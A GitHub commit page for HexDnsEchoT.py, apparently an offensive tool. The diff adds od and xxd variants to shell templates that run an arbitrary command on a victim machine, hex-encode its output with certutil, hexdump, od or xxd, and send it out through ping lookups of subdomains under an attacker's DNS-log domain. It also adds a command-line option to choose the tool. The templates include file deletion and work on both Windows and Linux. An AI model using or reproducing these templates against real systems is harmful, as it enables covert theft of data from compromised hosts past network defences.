Skip to content

Commit

Permalink
Merge pull request #6 from No-Github/main
Browse files Browse the repository at this point in the history
support od,xxd
  • Loading branch information
A0WaQ4 committed Aug 20, 2023
2 parents 20c8492 + 7b8028f commit fafc852
Showing 1 changed file with 18 additions and 6 deletions.
24 changes: 18 additions & 6 deletions HexDnsEchoT.py
Original file line number Diff line number Diff line change
Expand Up @@ -99,9 +99,14 @@ def get_config():
getResult = False


def generate_command():
def generate_command(tool="hexdump"):
commandTemWin = r'del execfile7 && del execfile7.txt && command > execfile7 &&echo 11111111111>>execfile7 && certutil -encodehex execfile7 execfile7.txt && for /f "tokens=1-17" %a in (execfile7.txt) do start /b ping -nc 1 %a%b%c%d%e%f%g%h%i%j%k%l%m%n%o%p%q.execfile.{0}'
commandTemLinux = r'rm -f execfile7;rm -f execfile7.txt;command > execfile7 &&echo 11111111111 >>execfile7 && cat execfile7|hexdump -C > execfile7.txt && cat execfile7.txt |sed "s/[[:space:]]//g" | cut -d "|" -f1 | cut -c 5-55| while read line;do ping -c 1 -l 1 $line.execfile.{0}; done'
if tool == "od":
commandTemLinux = r'rm -f execfile7;rm -f execfile7.txt;command > execfile7 &&echo 11111111111 >>execfile7 && cat execfile7|od -t x1 | sed "s/[[:space:]]//g" | cut -c 4-60| while read line;do ping -c 1 -l 1 $line.execfile.{0}; done'
elif tool == "xxd":
commandTemLinux = r'rm -f execfile7;rm -f execfile7.txt;command > execfile7 &&echo 11111111111 >>execfile7 && cat execfile7|xxd > execfile7.txt && echo "00000051" >> execfile7.txt && cat execfile7.txt | cut -c 5-49 | sed "s/[[:space:]]//g" | sed "s/://g" | cut -d "|" -f1| while read line;do ping -c 1 -l 1 $line.execfile.{0}; done'
else:
commandTemLinux = r'rm -f execfile7;rm -f execfile7.txt;command > execfile7 &&echo 11111111111 >>execfile7 && cat execfile7|hexdump -C > execfile7.txt && cat execfile7.txt |sed "s/[[:space:]]//g" | cut -d "|" -f1 | cut -c 5-55| while read line;do ping -c 1 -l 1 $line.execfile.{0}; done'
commandWin = commandTemWin.format(dnsurl)
commandLinux = commandTemLinux.format(dnsurl)
execfilename = ''.join(re.findall(r'[A-Za-z]', command))
Expand Down Expand Up @@ -274,8 +279,15 @@ def deal_ds_data(data: list):
parser.add_argument('-m', "--model", help = "recent result", default = "result")
parser.add_argument('-u', "--httpbasicuser", help="HTTPBasicAuth User")
parser.add_argument('-p', "--httpbasicpass", help="HTTPBasicAuth Pass")
parser.add_argument('-l', "--linuxhex", help="Linux HEX tool")
parser.add_argument("--force", action="store_true" , help = "force deal_ds_data")
args = parser.parse_args()
if args.linuxhex == "od":
tool="od"
elif args.linuxhex == "xxd":
tool="xxd"
else:
tool="hexdump"
if args.domain_server == None:
if args.model == "GR":
if args.dnsurl == None:
Expand Down Expand Up @@ -310,7 +322,7 @@ def deal_ds_data(data: list):
print(token)
command = input("请输入想要执行的命令:")
get_new_config()
generate_command()
generate_command(tool)
else:
if args.model == "GR":
if args.token == None:
Expand Down Expand Up @@ -345,7 +357,7 @@ def deal_ds_data(data: list):
dataList = []
skipLinesRe = 0
get_ds_config()
generate_command()
generate_command(tool)

while True:
if finishOnce:
Expand All @@ -357,13 +369,13 @@ def deal_ds_data(data: list):
token = args.token
print(token)
command = input("请输入想要执行的命令:")
generate_command()
generate_command(tool)
else:
dataList = []
skipLinesRe = 0
command = input("请输入想要执行的命令:")
get_ds_config()
generate_command()
generate_command(tool)

if not args.domain_server == None:
if getResult and getGR:
Expand Down

0 comments on commit fafc852

Please sign in to comment.